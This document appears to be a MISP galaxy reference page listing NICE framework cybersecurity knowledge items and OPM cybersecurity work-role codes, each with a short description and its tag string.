Knowledge of supply chain risk management principles and practices - K0803

Knowledge of supply chain risk management principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of supply chain risk management principles and practices - K0803"*

Knowledge of interpreted and compiled programming language characteristics - K0813

Knowledge of interpreted and compiled programming language characteristics

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of interpreted and compiled programming language characteristics - K0813"*

Knowledge of supply chain risks - K0820

Knowledge of supply chain risks

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of supply chain risks - K0820"*

Knowledge of software security principles and practices - K0826

Knowledge of software security principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of software security principles and practices - K0826"*

Knowledge of software quality assurance (SQA) principles and practices - K0827

Knowledge of software quality assurance (SQA) principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of software quality assurance (SQA) principles and practices - K0827"*

Knowledge of supply chain risk management standards and best practices - K0828

Knowledge of supply chain risk management standards and best practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of supply chain risk management standards and best practices - K0828"*

Knowledge of risk management policies and procedures - K0920

Knowledge of risk management policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of risk management policies and procedures - K0920"*

Knowledge of penetration testing principles and practices - K0955

Knowledge of penetration testing principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of penetration testing principles and practices - K0955"*

Knowledge of penetration testing tools and techniques - K0956

Knowledge of penetration testing tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of penetration testing tools and techniques - K0956"*

Knowledge of root cause analysis tools and techniques - K0957

Knowledge of root cause analysis tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of root cause analysis tools and techniques - K0957"*

Knowledge of web application security risks - K1079

Knowledge of web application security risks

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of web application security risks - K1079"*

Knowledge of code analysis tools and techniques - K1099

Knowledge of code analysis tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of code analysis tools and techniques - K1099"*

Knowledge of coding and testing standards - K1117

Knowledge of coding and testing standards

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of coding and testing standards - K1117"*

Knowledge of completion criteria - K1118

Knowledge of completion criteria

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of completion criteria - K1118"*

Knowledge of cost constraints - K1126

Knowledge of cost constraints

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cost constraints - K1126"*

Knowledge of data manipulation principles and practices - K1148

Knowledge of data manipulation principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data manipulation principles and practices - K1148"*

Knowledge of data retrieval principles and practices - K1149

Knowledge of data retrieval principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data retrieval principles and practices - K1149"*

Knowledge of data storage principles and practices - K1150

Knowledge of data storage principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data storage principles and practices - K1150"*

Knowledge of enterprise-wide version control systems - K1157

Knowledge of enterprise-wide version control systems

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of enterprise-wide version control systems - K1157"*

Knowledge of independent testing methods - K1165

Knowledge of independent testing methods

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of independent testing methods - K1165"*

Knowledge of mathematical models - K1170

Knowledge of mathematical models

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of mathematical models - K1170"*

Knowledge of Public Key Infrastructure (PKI) libraries - K1203

Knowledge of Public Key Infrastructure (PKI) libraries

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Public Key Infrastructure (PKI) libraries - K1203"*

Knowledge of required reporting formats - K1205

Knowledge of required reporting formats

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of required reporting formats - K1205"*

Knowledge of risk acceptance and documentation - K1208

Knowledge of risk acceptance and documentation

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of risk acceptance and documentation - K1208"*

Knowledge of secure programming tools and techniques - K1210

Knowledge of secure programming tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of secure programming tools and techniques - K1210"*

Knowledge of security restrictions - K1214

Knowledge of security restrictions

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of security restrictions - K1214"*

Knowledge of security testing tools and techniques - K1215

Knowledge of security testing tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of security testing tools and techniques - K1215"*

Knowlege of certificate management principles and practices - K1239

Knowlege of certificate management principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowlege of certificate management principles and practices - K1239"*

Knowledge of cybersecurity practices in the acquisition process - K0653

Knowledge of cybersecurity practices in the acquisition process

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cybersecurity practices in the acquisition process - K0653"*

Knowledge of resiliency and redundancy principles and practices - K0715

Knowledge of resiliency and redundancy principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of resiliency and redundancy principles and practices - K0715"*

Knowledge of host access control (HAC) systems and software - K0716

Knowledge of host access control (HAC) systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of host access control (HAC) systems and software - K0716"*

Knowledge of network access control (NAC) systems and software - K0717

Knowledge of network access control (NAC) systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network access control (NAC) systems and software - K0717"*

Knowledge of policy-based access controls - K0746

Knowledge of policy-based access controls

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of policy-based access controls - K0746"*

Knowledge of Risk Adaptive (Adaptable) Access Controls (RAdAC) - K0747

Knowledge of Risk Adaptive (Adaptable) Access Controls (RAdAC)

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Risk Adaptive (Adaptable) Access Controls (RAdAC) - K0747"*

Knowledge of system design standards and best practices - K0769

Knowledge of system design standards and best practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of system design standards and best practices - K0769"*

Knowledge of system life cycle management principles and practices - K0771

Knowledge of system life cycle management principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of system life cycle management principles and practices - K0771"*

Knowledge of supply chain risk management policies and procedures - K0838

Knowledge of supply chain risk management policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of supply chain risk management policies and procedures - K0838"*

Knowledge of the acquisition life cycle models and frameworks - K0922

Knowledge of the acquisition life cycle models and frameworks

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of the acquisition life cycle models and frameworks - K0922"*

Knowledge of countermeasure design principles and practices - K0937

Knowledge of countermeasure design principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of countermeasure design principles and practices - K0937"*

Knowledge of operation assessment processes - K1063

Knowledge of operation assessment processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of operation assessment processes - K1063"*

Knowledge of knowledge management tools and techniques - K1088

Knowledge of knowledge management tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of knowledge management tools and techniques - K1088"*

Knowledge of analytical tools and techniques - K1100

Knowledge of analytical tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of analytical tools and techniques - K1100"*

Knowledge of component and interface specifications - K1119

Knowledge of component and interface specifications

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of component and interface specifications - K1119"*

Knowledge of evaluation and validation requirements - K1158

Knowledge of evaluation and validation requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of evaluation and validation requirements - K1158"*

Knowledge of hardware design principles and practices - K1164

Knowledge of hardware design principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of hardware design principles and practices - K1164"*

Knowledge of user needs and requirements - K1235

Knowledge of user needs and requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of user needs and requirements - K1235"*

OPM codes in cybersecurity

Office of Personnel Management codes in cybersecurity.

OPM codes in cybersecurity is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

OPM - Jean-Louis Huynen

Security Architect - Systems Architecture - Designs enterprise and systems security throughout the development life cycle; translates technology and e - 652

Security Architect - Systems Architecture - Designs enterprise and systems security throughout the development life cycle; translates technology and environmental conditions (e.g., law and regulation) into security designs and processes. (Securely Provision)

The tag is: *misp-galaxy:nice-framework-opm_codes="Security Architect - Systems Architecture -*

Designs enterprise and systems security throughout the development life cycle; translates technology and e - 652"

Enterprise Architect - Systems Architecture - Develops and maintains business, systems, and information processes to support enterprise mission needs; - 651

Enterprise Architect - Systems Architecture - Develops and maintains business, systems, and information processes to support enterprise mission needs; develops information technology (IT) rules and requirements that describe baseline and target architectures. (Securely Provision)

The tag is: *misp-galaxy:nice-framework-opm_codes="Enterprise Architect - Systems Architecture - Develops and maintains business, systems, and information processes to support enterprise mission needs; - 651"*

Information Systems Security Developer - Systems Development - Designs, develops, tests, and evaluates information system security throughout the syst - 631

Information Systems Security Developer - Systems Development - Designs, develops, tests, and evaluates information system security throughout the systems development life cycle. (Securely Provision)

The tag is: *misp-galaxy:nice-framework-opm_codes="Information Systems Security Developer - Systems Development - Designs, develops, tests, and evaluates information system security throughout the syst - 631"*

Systems Developer - Systems Development - Designs, develops, tests, and evaluates information systems throughout the systems development life cycle. (- 632

Systems Developer - Systems Development - Designs, develops, tests, and evaluates information systems throughout the systems development life cycle. (Securely Provision)

The tag is: *misp-galaxy:nice-framework-opm_codes="Systems Developer - Systems Development - Designs, develops, tests, and evaluates information systems throughout the systems development life cycle. (- 632"*

Software Developer - Software Development - Develops, creates, maintains, and writes/codes new (or modifies existing) computer applications, software, - 621

Software Developer - Software Development - Develops, creates, maintains, and writes/codes new (or modifies existing) computer applications, software, or specialized utility programs. (Securely Provision)

The tag is: *misp-galaxy:nice-framework-opm_codes="Software Developer - Software Development - Develops, creates, maintains, and writes/codes new (or modifies existing) computer applications, software, - 621"*

Secure Software Assessor - Software Development - Analyzes the security of new or existing computer applications, software, or specialized utility pro - 622

Secure Software Assessor - Software Development - Analyzes the security of new or existing computer applications, software, or specialized utility programs and provides actionable results. (Securely Provision)

The tag is: *misp-galaxy:nice-framework-opm_codes="Secure Software Assessor - Software Development - Analyzes the security of new or existing computer applications, software, or specialized utility pro - 622"*

Partner Integration Planner - Cyber Operational Planning - Works to advance cooperation across organizational or national borders between cyber operat - 333

Partner Integration Planner - Cyber Operational Planning - Works to advance cooperation across organizational or national borders between cyber operations partners. Aids the integration of partner cyber teams by providing guidance, resources, and collaboration to develop best practices and facilitate organizational support for achieving objectives in integrated cyber actions. (Collect and Operate)

The tag is: *misp-galaxy:nice-framework-opm_codes="Partner Integration Planner - Cyber Operational Planning - Works to advance cooperation across organizational or national borders between cyber operat - 333"*

Mission Assessment Specialist - All-Source Analysis - Develops assessment plans and measures of performance/effectiveness. Conducts strategic and oper - 112

Mission Assessment Specialist - All-Source Analysis - Develops assessment plans and measures of performance/effectiveness. Conducts strategic and operational effectiveness assessments as required for cyber events. Determines whether systems performed as expected and provides input to the determination of operational effectiveness. (Analyze)

The tag is: *misp-galaxy:nice-framework-opm_codes="Mission Assessment Specialist - All-Source Analysis - Develops assessment plans and measures of performance/effectiveness. Conducts strategic and oper - 112"*

Target Developer - Targets - Performs target system analysis, builds and/or maintains electronic target folders to include inputs from environment pre - 131

Target Developer - Targets - Performs target system analysis, builds and/or maintains electronic target folders to include inputs from environment preparation, and/or internal or external intelligence sources. Coordinates with partner target activities and intelligence organizations, and presents candidate targets for vetting and validation. (Analyze)

The tag is: *misp-galaxy:nice-framework-opm_codes="Target Developer - Targets - Performs target system analysis, builds and/or maintains electronic target folders to include inputs from environment pre - 131"*

Target Network Analyst - Targets - Conducts advanced analysis of collection and open-source data to ensure target continuity; to profile targets and t - 132

Target Network Analyst - Targets - Conducts advanced analysis of collection and open-source data to ensure target continuity; to profile targets and their activities; and develop techniques to gain more target information. Determines how targets communicate, move, operate and live based on knowledge of target technologies, digital networks and the applications on them. (Analyze)

The tag is: *misp-galaxy:nice-framework-opm_codes="Target Network Analyst - Targets - Conducts advanced analysis of collection and open-source data to ensure target continuity; to profile targets and t - 132"*

Cyber Defense Analyst - Cyber Defense Analysis - Uses data collected from a variety of cyber defense tools (e.g., IDS alerts, firewalls, network traff - 511

Cyber Defense Analyst - Cyber Defense Analysis - Uses data collected from a variety of cyber defense tools (e.g., IDS alerts, firewalls, network traffic logs) to analyze events that occur within their environments for the purposes of mitigating threats. (Protect and Defend)

The tag is: *misp-galaxy:nice-framework-opm_codes="Cyber Defense Analyst - Cyber Defense Analysis - Uses data collected from a variety of cyber defense tools (e.g., IDS alerts, firewalls, network traff - 511"*

Cyber Defense Forensics Analyst - Digital Forensics - Analyzes digital evidence and investigates computer security incidents to derive useful informat - 212

Cyber Defense Forensics Analyst - Digital Forensics - Analyzes digital evidence and investigates computer security incidents to derive useful information in support of system/network vulnerability mitigation. (Investigate)

The tag is: *misp-galaxy:nice-framework-opm_codes="Cyber Defense Forensics Analyst - Digital Forensics - Analyzes digital evidence and investigates computer security incidents to derive useful informat - 212"*

Cyber Defense Incident Responder - Incident Response - Investigates, analyzes, and responds to cyber incidents within the network environment or encla - 531

Cyber Defense Incident Responder - Incident Response - Investigates, analyzes, and responds to cyber incidents within the network environment or enclave. (Protect and Defend)

The tag is: *misp-galaxy:nice-framework-opm_codes="Cyber Defense Incident Responder - Incident Response - Investigates, analyzes, and responds to cyber incidents within the network environment or encla - 531"*

Systems Requirements Planner - Systems Requirements Planning - Consults with customers to evaluate functional requirements and translate functional re - 641

Systems Requirements Planner - Systems Requirements Planning - Consults with customers to evaluate functional requirements and translate functional requirements into technical solutions.

(Securely Provision)

The tag is: *misp-galaxy:nice-framework-opm_codes="Systems Requirements Planner - Systems Requirements Planning - Consults with customers to evaluate functional requirements and translate functional re - 641"*

System Testing and Evaluation Specialist - Test and Evaluation - Plans, prepares, and executes tests of systems to evaluate results against specificat - 671

System Testing and Evaluation Specialist - Test and Evaluation - Plans, prepares, and executes tests of systems to evaluate results against specifications and requirements as well as analyze/report test results. (Securely Provision)

The tag is: *misp-galaxy:nice-framework-opm_codes="System Testing and Evaluation Specialist - Test and Evaluation - Plans, prepares, and executes tests of systems to evaluate results against specificat - 671"*

Research & Development Specialist - Technology R&D - Conducts software and systems engineering and software systems research in order to develop new c - 661

Research & Development Specialist - Technology R&D - Conducts software and systems engineering and software systems research in order to develop new capabilities, ensuring cybersecurity is fully integrated. Conducts comprehensive technology research to evaluate potential vulnerabilities in cyberspace systems. (Securely Provision)

The tag is: *misp-galaxy:nice-framework-opm_codes="Research & Development Specialist - Technology R&D - Conducts software and systems engineering and software systems research in order to develop new c - 661"*

Cyber Operator - Cyber Operations - Conducts collection, processing, and/or geolocation of systems in order to exploit, locate, and/or track targets o - 321

Cyber Operator - Cyber Operations - Conducts collection, processing, and/or geolocation of systems in order to exploit, locate, and/or track targets of interest. Performs network navigation, tactical forensic analysis, and, when directed, executing on-net operations. (Collect and Operate)

The tag is: *misp-galaxy:nice-framework-opm_codes="Cyber Operator - Cyber Operations - Conducts collection, processing, and/or geolocation of systems in order to exploit, locate, and/or track targets o - 321"*

Cyber Ops Planner - Cyber Operational Planning - Develops detailed plans for the conduct or support of the applicable range of cyber operations throug - 332

Cyber Ops Planner - Cyber Operational Planning - Develops detailed plans for the conduct or support of the applicable range of cyber operations through collaboration with other planners, operators and/or analysts. Participates in targeting selection, validation, synchronization, and enables integration during the execution of cyber actions. (Collect and Operate)

The tag is: *misp-galaxy:nice-framework-opm_codes="Cyber Ops Planner - Cyber Operational Planning - Develops detailed plans for the conduct or support of the applicable range of cyber operations throug - 332"*

Exploitation Analyst - Exploitation Analysis - Collaborates to identify access and collection gaps that can be satisfied through cyber collection and/ - 121

Exploitation Analyst - Exploitation Analysis - Collaborates to identify access and collection gaps that can be satisfied through cyber collection and/or preparation activities. Leverages all authorized resources and analytic techniques to penetrate targeted networks. (Analyze)

The tag is: *misp-galaxy:nice-framework-opm_codes="Exploitation Analyst - Exploitation Analysis - Collaborates to identify access and collection gaps that can be satisfied through cyber collection and/ - 121"*

Cyber Defense Infrastructure Support Specialist - Cyber Defense Infrastructure Support - Tests, implements, deploys, maintains, and administers the in - 521

Cyber Defense Infrastructure Support Specialist - Cyber Defense Infrastructure Support - Tests, implements, deploys, maintains, and administers the infrastructure hardware and software. (Protect and Defend)

The tag is: *misp-galaxy:nice-framework-opm_codes="Cyber Defense Infrastructure Support Specialist - Cyber Defense Infrastructure Support - Tests, implements, deploys, maintains, and administers the in - 521"*

Warning Analyst - Threat Analysis - Develops unique cyber indicators to maintain constant awareness of the status of the highly dynamic operating envi - 141

Warning Analyst - Threat Analysis - Develops unique cyber indicators to maintain constant awareness of the status of the highly dynamic operating environment. Collects, processes, analyzes, and disseminates cyber warning assessments. (Analyze)

The tag is: *misp-galaxy:nice-framework-opm_codes="Warning Analyst - Threat Analysis - Develops unique cyber indicators to maintain constant awareness of the status of the highly dynamic operating envi - 141"*

Network Operations Specialist - Network Services - Plans, implements, and operates network services/systems, to include hardware and virtual environme - 441

Network Operations Specialist - Network Services - Plans, implements, and operates network services/systems, to include hardware and virtual environments. (Operate and Maintain)

The tag is: *misp-galaxy:nice-framework-opm_codes="Network Operations Specialist - Network Services - Plans, implements, and operates network services/systems, to include hardware and virtual environme - 441"*

System Administrator - Systems Administration - Installs, configures, troubleshoots, and maintains hardware and software, and administers system accou - 451

System Administrator - Systems Administration - Installs, configures, troubleshoots, and maintains hardware and software, and administers system accounts. (Operate and Maintain)

The tag is: *misp-galaxy:nice-framework-opm_codes="System Administrator - Systems Administration - Installs, configures, troubleshoots, and maintains hardware and software, and administers system accou - 451"*

Systems Security Analyst - Systems Analysis - Responsible for the analysis and development of the integration, testing, operations, and maintenance of - 461

Systems Security Analyst - Systems Analysis - Responsible for the analysis and development of the integration, testing, operations, and maintenance of systems security. (Operate and Maintain)

The tag is: *misp-galaxy:nice-framework-opm_codes="Systems Security Analyst - Systems Analysis - Responsible for the analysis and development of the integration, testing, operations, and maintenance of - 461"*

Technical Support Specialist - Customer Service and Technical Support - Provides technical support to customers who need assistance utilizing client-l - 411

Technical Support Specialist - Customer Service and Technical Support - Provides technical support to customers who need assistance utilizing client-level hardware and software in accordance with established or approved organizational process components. (i.e., Master Incident Management Plan, when applicable). (Operate and Maintain)

The tag is: *misp-galaxy:nice-framework-opm_codes="Technical Support Specialist - Customer Service and Technical Support - Provides technical support to customers who need assistance utilizing client-l - 411"*

Vulnerability Assessment Analyst - Vulnerability Assessment and Management - Performs assessments of systems and networks within the network environme - 541

Vulnerability Assessment Analyst - Vulnerability Assessment and Management - Performs assessments of systems and networks within the network environment or enclave and identifies where those systems/networks deviate from acceptable configurations, enclave policy, or local policy. Measures effectiveness of defense-in-depth architecture against known vulnerabilities. (Protect and Defend)

The tag is: *misp-galaxy:nice-framework-opm_codes="Vulnerability Assessment Analyst - Vulnerability Assessment and Management - Performs assessments of systems and networks within the network environme - 541"*

Cyber Crime Investigator - Cyber Investigation - Identifies, collects, examines, and preserves evidence using controlled and documented analytical and - 221

Cyber Crime Investigator - Cyber Investigation - Identifies, collects, examines, and preserves evidence using controlled and documented analytical and investigative techniques. (Investigate)

The tag is: *misp-galaxy:nice-framework-opm_codes="Cyber Crime Investigator - Cyber Investigation - Identifies, collects, examines, and preserves evidence using controlled and documented analytical and - 221"*

Forensics Analyst - Digital Forensics - Conducts deep-dive investigations on computer-based crimes establishing documentary or physical evidence, to - 211

Forensics Analyst - Digital Forensics - Conducts deep-dive investigations on computer-based crimes establishing documentary or physical evidence, to include digital media and logs associated with cyber intrusion incidents. (Investigate)

The tag is: *misp-galaxy:nice-framework-opm_codes="Forensics Analyst - Digital Forensics - Conducts deep-dive investigations on computer-based crimes establishing documentary or physical evidence, to - 211"*

Data Analyst - Data Administration - Examines data from multiple disparate sources with the goal of providing new insight. Designs and implements cust - 422

Data Analyst - Data Administration - Examines data from multiple disparate sources with the goal of providing new insight. Designs and implements custom algorithms, flow processes, and layouts for complex, enterprise-scale data sets used for modeling, data mining, and research purposes. (Operate and Maintain)

The tag is: *misp-galaxy:nice-framework-opm_codes="Data Analyst - Data Administration - Examines data from multiple disparate sources with the goal of providing new insight. Designs and implements cust - 422"*

Database Administrator - Data Administration - Administers databases and/or data management systems that allow for the storage, query, and utilization - 421

Database Administrator - Data Administration - Administers databases and/or data management systems that allow for the storage, query, and utilization of data. (Operate and Maintain)

The tag is: *misp-galaxy:nice-framework-opm_codes="Database Administrator - Data Administration - Administers databases and/or data management systems that allow for the storage, query, and utilization - 421"*

Knowledge Manager - Knowledge Management - Responsible for the management and administration of processes and tools that enable the organization to id - 431

Knowledge Manager - Knowledge Management - Responsible for the management and administration of processes and tools that enable the organization to identify, document, and access intellectual capital and information content. (Operate and Maintain)

The tag is: *misp-galaxy:nice-framework-opm_codes="Knowledge Manager - Knowledge Management - Responsible for the management and administration of processes and tools that enable the organization to id - 431"*

All Source-Collection Requirements Manager - Collection Operations - Evaluates collection operations and develops effects-based collection requirement - 312

All Source-Collection Requirements Manager - Collection Operations - Evaluates collection operations and develops effects-based collection requirements strategies using available sources and methods to improve collection. Develops, processes, validates, and coordinates submission of collection requirements. Evaluates performance of collection assets and collection operations. (Collect and Operate)

The tag is: *misp-galaxy:nice-framework-opm_codes="All Source-Collection Requirements Manager - Collection Operations - Evaluates collection operations and develops effects-based collection requirement - 312"*

Cyber Intel Planner - Cyber Operational Planning - Develops detailed intelligence plans to satisfy cyber operations requirements. Collaborates with cy - 331

Cyber Intel Planner - Cyber Operational Planning - Develops detailed intelligence plans to satisfy cyber operations requirements. Collaborates with cyber operations planners to identify, validate, and levy requirements for collection and analysis. Participates in targeting selection, validation, synchronization, and execution of cyber actions. Synchronizes intelligence activities to support organization objectives in cyberspace. (Collect and Operate)

The tag is: *misp-galaxy:nice-framework-opm_codes="Cyber Intel Planner - Cyber Operational Planning - Develops detailed intelligence plans to satisfy cyber operations requirements. Collaborates with cy - 331"*

Multi-Disciplined Language Analyst - Language Analysis - Applies language and culture expertise with target/threat and technical knowledge to process, - 151

Multi-Disciplined Language Analyst - Language Analysis - Applies language and culture expertise with target/threat and technical knowledge to process, analyze, and/or disseminate intelligence information derived from language, voice and/or graphic material. Creates, and maintains language specific databases and working aids to support cyber action execution and ensure critical knowledge sharing. Provides subject matter expertise in foreign language-intensive or interdisciplinary projects. (Analyze)

The tag is: *misp-galaxy:nice-framework-opm_codes="Multi-Disciplined Language Analyst - Language Analysis - Applies language and culture expertise with target/threat and technical knowledge to process, - 151"*

All-Source Analyst - All-Source Analysis - Analyzes data/information from one or multiple sources to conduct preparation of the environment, respond t - 111

All-Source Analyst - All-Source Analysis - Analyzes data/information from one or multiple sources to conduct preparation of the environment, respond to requests for information, and submit intelligence collection and production requirements in support of planning and operations. (Analyze)

The tag is: *misp-galaxy:nice-framework-opm_codes="All-Source Analyst - All-Source Analysis - Analyzes data/information from one or multiple sources to conduct preparation of the environment, respond t - 111"*

All Source-Collection Manager - Collection Operations - Identifies collection authorities and environment; incorporates priority information requireme - 311

All Source-Collection Manager - Collection Operations - Identifies collection authorities and environment; incorporates priority information requirements into collection management; develops concepts to meet leadership's intent. Determines capabilities of available collection assets, identifies new collection capabilities; and constructs and disseminates collection plans. Monitors execution of tasked collection to ensure effective execution of the collection plan. (Collect and Operate)

The tag is: *misp-galaxy:nice-framework-opm_codes="All Source-Collection Manager - Collection Operations - Identifies collection authorities and environment; incorporates priority information requireme - 311"*

IT Program Auditor - Acquisition and Program/Project Management - Conducts evaluations of an IT program or its individual components, to determine com - 805

IT Program Auditor - Acquisition and Program/Project Management - Conducts evaluations of an IT program or its individual components, to determine compliance with published standards. (Oversee and Govern)

The tag is: *misp-galaxy:nice-framework-opm_codes="IT Program Auditor - Acquisition and Program/Project Management - Conducts evaluations of an IT program or its individual components, to determine com - 805"*

Security Control Assessor - Risk Management - Conducts independent comprehensive assessments of the management, operational, and technical security co - 612

Security Control Assessor - Risk Management - Conducts independent comprehensive assessments of the management, operational, and technical security controls and control enhancements employed within or inherited by an information technology (IT) system to determine the overall effectiveness of the controls (as defined in NIST SP 800-37). (Securely Provision)

The tag is: *misp-galaxy:nice-framework-opm_codes="Security Control Assessor - Risk Management - Conducts independent comprehensive assessments of the management, operational, and technical security co - 612"*

COMSEC Manager - Cybersecurity Management - Manages the Communications Security (COMSEC) resources of an organization (CNSSI 4009). (Oversee and Gover - 723

COMSEC Manager - Cybersecurity Management - Manages the Communications Security (COMSEC) resources of an organization (CNSSI 4009). (Oversee and Govern)

The tag is: *misp-galaxy:nice-framework-opm_codes="COMSEC Manager - Cybersecurity Management - Manages the Communications Security (COMSEC) resources of an organization (CNSSI 4009). (Oversee and Gover - 723"*

Cyber Policy and Strategy Planner - Strategic Planning and Policy - Develops cyberspace plans, strategy and policy to support and align with organizat - 752

Cyber Policy and Strategy Planner - Strategic Planning and Policy - Develops cyberspace plans, strategy and policy to support and align with organizational cyberspace missions and initiatives. (Oversee and Govern)

The tag is: *misp-galaxy:nice-framework-opm_codes="Cyber Policy and Strategy Planner - Strategic Planning and Policy - Develops cyberspace plans, strategy and policy to support and align with organizat - 752"*

Cyber Workforce Developer and Manager - Strategic Planning and Policy - Develops cyberspace workforce plans, strategies and guidance to support cybers - 751

Cyber Workforce Developer and Manager - Strategic Planning and Policy - Develops cyberspace workforce plans, strategies and guidance to support cyberspace workforce manpower, personnel, training and education requirements and to address changes to cyberspace policy, doctrine, materiel, force structure, and education and training requirements. (Oversee and Govern)

The tag is: *misp-galaxy:nice-framework-opm_codes="Cyber Workforce Developer and Manager - Strategic Planning and Policy - Develops cyberspace workforce plans, strategies and guidance to support cybers - 751"*

Cyber Instructional Curriculum Developer - Training, Education, and Awareness - Develops, plans, coordinates, and evaluates cyber training/education c - 711

Cyber Instructional Curriculum Developer - Training, Education, and Awareness - Develops, plans, coordinates, and evaluates cyber training/education courses, methods, and techniques based on instructional needs. (Oversee and Govern)

The tag is: *misp-galaxy:nice-framework-opm_codes="Cyber Instructional Curriculum Developer - Training, Education, and Awareness - Develops, plans, coordinates, and evaluates cyber training/education c - 711"*

Cyber Instructor- Training, Education, and Awareness - Develops and conducts training or education of personnel within cyber domain. (Oversee and Gove - 712

Cyber Instructor- Training, Education, and Awareness - Develops and conducts training or education of personnel within cyber domain. (Oversee and Govern)

The tag is: *misp-galaxy:nice-framework-opm_codes="Cyber Instructor- Training, Education, and Awareness - Develops and conducts training or education of personnel within cyber domain. (Oversee and Gove - 712"*

Cyber Legal Advisor - Legal Advice and Advocacy - Provides legal advice and recommendations on relevant topics related to cyber law. (Oversee and Gove - 731

Cyber Legal Advisor - Legal Advice and Advocacy - Provides legal advice and recommendations on relevant topics related to cyber law. (Oversee and Govern)

The tag is: *misp-galaxy:nice-framework-opm_codes="Cyber Legal Advisor - Legal Advice and Advocacy - Provides legal advice and recommendations on relevant topics related to cyber law. (Oversee and Gove - 731"*

Executive Cyber Leadership - Executive Cyber Leadership - Executes decision-making authorities and establishes vision and direction for an organizatio - 901

Executive Cyber Leadership - Executive Cyber Leadership - Executes decision-making authorities and establishes vision and direction for an organization's cyber and cyber-related resources and/or operations. (Oversee and Govern)

The tag is: *misp-galaxy:nice-framework-opm_codes="Executive Cyber Leadership - Executive Cyber Leadership - Executes decision-making authorities and establishes vision and direction for an organizatio - 901"*

Privacy Compliance Manager - Legal Advice and Advocacy - Develops and oversees privacy compliance program and privacy program staff, supporting privac - 732

Privacy Compliance Manager - Legal Advice and Advocacy - Develops and oversees privacy compliance program and privacy program staff, supporting privacy compliance needs of privacy and security executives and their teams. (Oversee and Govern)

The tag is: *misp-galaxy:nice-framework-opm_codes="Privacy Compliance Manager - Legal Advice and Advocacy - Develops and oversees privacy compliance program and privacy program staff, supporting privac - 732"*

Program Manager - Acquisition and Program/Project Management - Leads, coordinates, communicates, integrates and is accountable for the overall success - 801

Program Manager - Acquisition and Program/Project Management - Leads, coordinates, communicates, integrates and is accountable for the overall success of the program, ensuring alignment with critical agency priorities. (Oversee and Govern)

The tag is: *misp-galaxy:nice-framework-opm_codes="Program Manager - Acquisition and Program/Project Management - Leads, coordinates, communicates, integrates and is accountable for the overall success - 801"*

IT Project Manager - Acquisition and Program/Project Management - Directly manages information technology projects to provide a unique service or prod - 802

IT Project Manager - Acquisition and Program/Project Management - Directly manages information technology projects to provide a unique service or product. (Oversee and Govern)

The tag is: *misp-galaxy:nice-framework-opm_codes="IT Project Manager - Acquisition and Program/Project Management - Directly manages information technology projects to provide a unique service or prod - 802"*

Authorizing Official/Designating Representative - Risk Management - Senior official or executive with the authority to formally assume responsibility - 611

Authorizing Official/Designating Representative - Risk Management - Senior official or executive with the authority to formally assume responsibility for operating an information system at an acceptable level of risk to organizational operations (including mission, functions, image, or reputation), organizational assets, individuals, other organizations, and the Nation (CNSSI 4009). (Securely Provision)

The tag is: *misp-galaxy:nice-framework-opm_codes="Authorizing Official/Designating Representative - Risk Management - Senior official or executive with the authority to formally assume responsibility - 611"*

Product Support Manager - Acquisition and Program/Project Management- Manages the package of support functions required to field and maintain the read - 803

Product Support Manager - Acquisition and Program/Project Management- Manages the package of support functions required to field and maintain the readiness and operational capability of systems and components. (Oversee and Govern)

The tag is: *misp-galaxy:nice-framework-opm_codes="Product Support Manager - Acquisition and Program/Project Management- Manages the package of support functions required to field and maintain the read - 803"*

Information Systems Security Manager - Cybersecurity Management - Responsible for the cybersecurity of a program, organization, system, or enclave. (- 722

Information Systems Security Manager - Cybersecurity Management - Responsible for the cybersecurity of a program, organization, system, or enclave. (Oversee and Govern)

